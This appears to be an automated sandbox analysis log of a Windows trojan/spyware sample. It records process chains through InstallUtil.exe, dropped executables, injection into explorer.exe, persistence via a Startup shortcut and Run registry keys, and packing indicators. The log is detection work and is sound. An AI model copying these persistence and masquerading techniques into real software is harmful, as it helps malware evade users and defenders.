Source: lcs.12.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.file.exe.c380000.1.raw.unpack, OpenSourcedControl.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.3f12950.0.raw.unpack, OpenSourcedControl.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.file.exe.b1109e.1.raw.unpack, OpenSourcedControl.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@14/14@0/4

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Code function: 12_2_0041BDB0 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

12_2_0041BDB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_0040C140 CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,

10_2_0040C140

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office Manager.url

Jump to behavior

Source: C:\ProgramData\psh\lcs	Mutant created: \Sessions\1\BaseNamedObjects\{BFC89505-7634-423F-83D6-983772D943D2}
Source: C:\ProgramData\psh\lcs	Mutant created: \Sessions\1\BaseNamedObjects\{BA815171-8650-4CA0-A33D-83E96A2C2491}
Source: C:\ProgramData\Office Manager\Application.exe	Mutant created: NULL
Source: C:\ProgramData\psh\lcs	Mutant created: \Sessions\1\BaseNamedObjects\{BBF173FA-E399-4CBA-82A3-5D53467FFBF2}
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\c1ec479e5342a25940592acf24703eb2
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Mutant created: \Sessions\1\BaseNamedObjects\{414C01E0-7053-4041-8CA6-B1EF6EE7CF79}
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6036

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Temp\246122658369

Jump to behavior

Source: C:\ProgramData\psh\lcs	Process created: C:\Windows\explorer.exe
Source: C:\ProgramData\psh\lcs	Process created: C:\Windows\explorer.exe			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Command line argument: %s\explorer.exe	12_2_00401000
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Command line argument: %s\svchost.exe	12_2_00401000
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Command line argument: %s\cmd.exe	12_2_00401000

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\ProgramData\Office Manager\Application.exe "C:\ProgramData\Office Manager\Application.exe"
Source: C:\ProgramData\Office Manager\Application.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\ProgramData\Office Manager\Application.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe "C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe"
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Process created: C:\ProgramData\psh\lcs "C:\ProgramData\psh\lcs" {62A73DC5-B44C-41A5-95C2-BF9107E36D73}
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6036 -s 768
Source: C:\ProgramData\psh\lcs	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Process created: C:\ProgramData\psh\lcs "C:\ProgramData\psh\lcs" {62A73DC5-B44C-41A5-95C2-BF9107E36D73}	Jump to behavior
Source: C:\ProgramData\psh\lcs	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: msimg32.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: msi.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: secur32.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\psh\lcs	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 1120768 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x10e600

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Unpacked PE file: 12.2.stub4141_2024-10-16_10-48.exe.400000.0.unpack .text:ER;.data:W;.xeyirof:R;.lazij:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\ProgramData\psh\lcs	Unpacked PE file: 13.2.lcs.400000.0.unpack .text:ER;.data:W;.xeyirof:R;.lazij:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Unpacked PE file: 12.2.stub4141_2024-10-16_10-48.exe.400000.0.unpack
Source: C:\ProgramData\psh\lcs	Unpacked PE file: 13.2.lcs.400000.0.unpack

Source: file.exe

Static PE information: 0xF53C527E [Wed May 19 00:53:18 2100 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_0042DB49 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_0042DB49

Source: stub4141_2024-10-16_10-48[1].exe.4.dr	Static PE information: section name: .xeyirof
Source: stub4141_2024-10-16_10-48[1].exe.4.dr	Static PE information: section name: .lazij
Source: stub4141_2024-10-16_10-48.exe.4.dr	Static PE information: section name: .xeyirof
Source: stub4141_2024-10-16_10-48.exe.4.dr	Static PE information: section name: .lazij
Source: lcs.12.dr	Static PE information: section name: .xeyirof
Source: lcs.12.dr	Static PE information: section name: .lazij

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0C66B785 push dword ptr [edx+ebp*2-75h]; iretd	0_2_0C66B78F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0C666063 push eax; retf	0_2_0C666069
Source: C:\ProgramData\Office Manager\Application.exe	Code function: 6_2_0C64B8AD push FFFFFF8Bh; iretd	6_2_0C64B8AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0041F4CC push ecx; ret	10_2_0041F4DF
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00434847 push esp; ret	12_2_0043484E
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_004348FB push esp; ret	12_2_00434902
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0043229A push esp; ret	12_2_004322AA
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0043731B push esp; ret	12_2_00437322
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_004373D7 push esp; ret	12_2_004373DE
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_004323AB push esp; ret	12_2_004323B2
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0042A4E5 push ecx; ret	12_2_0042A4F8
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00437487 push esp; ret	12_2_0043748E
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00436CB3 push esp; ret	12_2_00436CBA
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0043753F push esp; ret	12_2_00437546
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_004375F3 push esp; ret	12_2_004375FA
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_004325AF push esp; ret	12_2_004325B6
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_004376DF push esp; ret	12_2_004376E6
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00433FF7 push esp; ret	12_2_00434002
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00434787 push esp; ret	12_2_0043478E
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0058D01B push edi; ret	12_2_0058D03E
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0058F959 push 00000000h; iretd	12_2_0058F968
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0058AE7B push ecx; ret	12_2_0058AE84
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0210A74C push ecx; ret	12_2_0210A75F
Source: C:\ProgramData\psh\lcs	Code function: 13_2_004CBF63 push edi; ret	13_2_004CBF86
Source: C:\ProgramData\psh\lcs	Code function: 13_2_004C9DC3 push ecx; ret	13_2_004C9DCC
Source: C:\ProgramData\psh\lcs	Code function: 13_2_004CE8A1 push 00000000h; iretd	13_2_004CE8B0
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0203A74C push ecx; ret	13_2_0203A75F

Source: file.exe	Static PE information: section name: .text entropy: 7.179309369290445
Source: Application.exe.0.dr	Static PE information: section name: .text entropy: 7.179309369290445
Source: stub4141_2024-10-16_10-48[1].exe.4.dr	Static PE information: section name: .text entropy: 7.453250103853522
Source: stub4141_2024-10-16_10-48.exe.4.dr	Static PE information: section name: .text entropy: 7.453250103853522
Source: lcs.12.dr	Static PE information: section name: .text entropy: 7.453250103853522

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Office Manager\Application.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	File created: C:\ProgramData\psh\lcs	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\stub4141_2024-10-16_10-48[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File created: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Office Manager\Application.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	File created: C:\ProgramData\psh\lcs			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

File created: C:\ProgramData\psh\lcs

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office Manager.url

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office Manager.url

Jump to behavior

Source: C:\Windows\explorer.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run StartValue	Jump to behavior
Source: C:\Windows\explorer.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run StartValue	Jump to behavior
Source: C:\Windows\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run StartValue	Jump to behavior
Source: C:\Windows\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run StartValue	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

